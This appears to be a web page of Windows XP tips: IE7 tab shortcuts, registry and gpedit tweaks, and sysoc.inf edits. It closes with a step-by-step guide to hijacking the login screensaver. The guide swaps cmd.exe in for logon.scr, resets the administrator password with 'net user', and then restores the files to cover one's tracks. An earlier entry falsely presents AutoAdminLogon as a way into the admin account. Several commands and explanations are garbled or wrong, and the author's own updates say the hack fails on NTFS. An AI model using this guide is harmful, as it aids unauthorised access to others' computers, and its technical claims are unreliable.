Get more out of Internet Explorer 7 tabs when using Windows XP

This tip applies to Windows XP Home and Windows XP Professional.Many Windows XP users upgraded to Internet Explorer 7 to take advantage of the tabs
feature. Here are some shortcuts and tricks that you can use to get even more out
of Internet Explorer 7’s tabs.

• While clicking the tabs to switch between them is handy, you can also switch between
  tabs by pressing [Ctrl][Tab].
  
• If you have a wheel mouse, you can open a link in a new tab by clicking the link
  with the wheel button.
  
• While you can start a new tab by clicking the small New Tab button, you can also
  open a new tab by pressing [Ctrl]T.
  
• If you’re scanning several sites on multiple tabs and want to return to this same
  set of tabs at a later date, click the Add To Favorites button and use the Add Tab
  Group To Favorites command.
  
• If you have a wheel mouse, you can close any tab by clicking it with the wheel
  button.
  
• When scanning several sites on multiple tabs, you can click and drag the tabs
  in any arrangement that you wish.

Registry Games

Display legal notice on startup:

Wanna tell your friends about the do's and dont's in your computer when they login
in your absence. Well you can do it pretty easily by displaying a legal notice at
system start up.

REGEDIT

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]

"legalnoticecaption"="enter your notice caption"

"legalnoticetext"="enter your legal notice text"

Automatic Administrator Login:

Well here's the trick which you can use to prove that Windows XP is not at all secure
as multi-user operating system. Hacking the system registry from any account having
access to system registry puts you in to the administrator account.

REGEDIT 4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]

"AutoAdminLogon"="1"

No Shutdown:

Wanna play with your friends by removing the shutdown option from start menu in
their computer.

Just hack it down !!!

Regedit

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer

"NoClose"="DWORD:1"

Menu Delays:

Another minor and easy tweak to remove any delay from menus sliding out. For this
you will need to use regedit (open regedit by going to Start -> Run..., then
typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl
PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change
the value to 0. Remember, you will have to re-boot your computer for this tweak
to take effect.

GPEDIT.MSC And Autoplay

A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run...
and then type in 'gpedit.msc' and press enter. This is effectively the Policies
Editor, and it comes in handy often. For example, if you hate CD autoplay like I
do and want to permanently disable it, you can use this tool to do so. Just run
gpedit.msc, then go to Computer Configuration -> Administrative Templates ->
System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and
then click 'Properties'.

Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair
enough, but if you go to Add/Remove Programs in the Control Panel, by default none
of Windows XP's 'built in' programs are visible. it's fairly easy to change, though...
just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where
Windows XP is installed) in Notepad. You should see a section of the file something
like this:

[Components]

NtComponents=ntoc.dll,NtOcSetupProc,,4

WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7

Display=desk.cpl,DisplayOcSetupProc,,7

Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7

NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7

iis=iis.dll,OcEntry,iis.inf,,7

com=comsetup.dll,OcEntry,comnt5.inf,hide,7

dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7

IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7

TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2

msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6

ims=imsinsnt.dll,OcEntry,ims.inf,,7

fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7

AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7

IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example
of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see
the word 'hide' highlighted - this is the string which tells Windows not to display
the component in the Add/Remove Programs list. Fix this up by simply deleting the
word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove
Programs list. If you want to be able to quickly view and remove all components,
simply open the sysoc.inf file and do a global find and replace for the word ",hide"
and replace it with a single comma ",".

Automatically Kill Programs At Shutdown:

don't you hate it when, while trying to shut down, you get message boxes telling
you that a program is still running? Making it so that Windows automatically kills
applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl
PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value
1.

Speeding Up Share Viewing:

This is a great tweak. Before I found it, I was always smashing my head against
the table waiting to view shares on other computers. Basically, when you connect
to another computer with Windows XP, it checks for any Scheduled tasks on that computer
- a fairly useless task, but one that can add up to 30 seconds of waiting on the
other end - not good! Fortunately, it's fairly easy to disable this process. First,
navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace
in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}.
Just delete this, and after a restart, Windows will no longer check for scheduled
tasks - mucho performance improvement!

Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click
a shortcut on your desktop to quickly lock the keyboard and display without using
CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your
computer: Right-click the desktop. Point to New, and then click Shortcut. The Create
Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation
Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or
choose any name you like. Click Finish. You can also change the shortcut's icon
(my personal favorite is the padlock icon in shell32.dll). To change the icon: Right
click the shortcut and then select Properties. Click the Shortcut tab, and then
click the Change Icon button. In the Look for icons in this file text box, type:
Shell32.dll. Click OK. Select one of the icons from the list and then click OK You
could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only
one keystroke from the normal command, but it could be more convenient.

Speed up Internet Explorer 6 Favorites

For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've
noticed this happens when you install Tweak UI 1.33, for example, and when you use
the preview tip to speed up the Start menu. But here's a fix for the problem that
does work, though it's unclear why: Just open a command line window (Start button
-> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System
File Checker, which performs a number of services, all of which are completely unrelated
to IE 6. But there you go: It works.

Aspi

WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP
and CD burning software are Aspi layer problems. After installing WinXP, before
installing any CD burning software do a few things first: 1. Open up "My computer"
and right click on the CD Recorder. If your CD recorder was detected as a CD recorder
there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply
or OK out of it and close my computer. 2. Next install the standard Aspi layer for
NT. Reboot when asked. That's is. after the reboot you can install any of the currently
working CD recording applications with no problems. If using CD Creator do not install
direct CD or Take two as they are currently incompatible but Roxio has promised
a fix as soon as XP is released.

Windows XP Hack Admin Password

This is provided only for educational purpose it is a simple way to Recover, Hack or Crack the Window XP Administrator Password. There are different Methods that I have outlined below.

Windows XP Privilege Escalation Exploit

(Before you continue Read the Updates at the bottom)

Here are the steps involved to Hack the Window XP Administrator Password .

1.         Go to Start –> Run –> Type in CMD

2.         You will get a command prompt. Enter these commands the way it is given

3.         cd\

4.         cd\ windows\system32

5.         mkdir temphack

6.         copy logon.scr temphack\logon.scr

7.         copy cmd.exe temphack\cmd.exe

8.         del logon.scr

9.         rename cmd.exe logon.scr

10.     exit

Wait its not over read the rest to find out how to Hack the Window XP Administrator Password
A Brief explanation of what you are currently doing here is

Your are nagivating to the windows system Directory where the system files are stored. Next your creating a temporary directory called mkdir. After which you are copying or backing up the logon.scr and cmd.exe files into the mkdir then you are deleting the logon.scr file and renaming cmd.exe file to logon.scr.

So basically you are telling windows is to backup the command program and the screen saver file. Then we edited the settings so when windows loads the screen saver, we will get an unprotected dos prompt without logging in. When this appears enter this command

net user password

Example: If the admin user name is clazh and you want change the password to pass Then type in the following command

net user clazh pass

This will chang the admin password to pass.
Thats it you have sucessfully hacked the Window XP Administrator Password now you can Log in, using the hacked Window XP Administrator Password and do whatever you want to do.

Here are the steps involved to De Hack or restore the Window XP Administrator Password to cover your tracks.

1.         Go to Start –> Run –> Type in CMD

2.         You will get a command prompt. Enter these commands the way it is given

3.         cd\

4.         cd\ windows\system32\temphack

5.         copy logon.scr C:\windows\system32\logon.scr

6.         copy cmd.exe C:\windows\system32\cmd.exe

7.         exit

Or simply go to C:\windows\system32\temphack and copy the contents of temphack back into system32 directory click Yes to overwrite the modified files.

Via internetbusinessdaily.net

Note To administrators: You can block the entire password change thing just a little tweak in the local security policy (control panel->administrative tools,works only for administrators group) will disallow any change in password even if u r the Admin (u can put a number of other restrictions too), but be cautious to give other users limitted accounts. After you have done this, the above Screensaver technique will fail.

Update: Christian Mohn points out The Above method is is possible only if you have Local Administrator Privileges. My fault for not checking it up before posting.

Update: The above Method only works if the system is FAT/FAT32 - because of the updated “user rights management” in NTFS - file level rights etc. This does not work on a system using NTFS.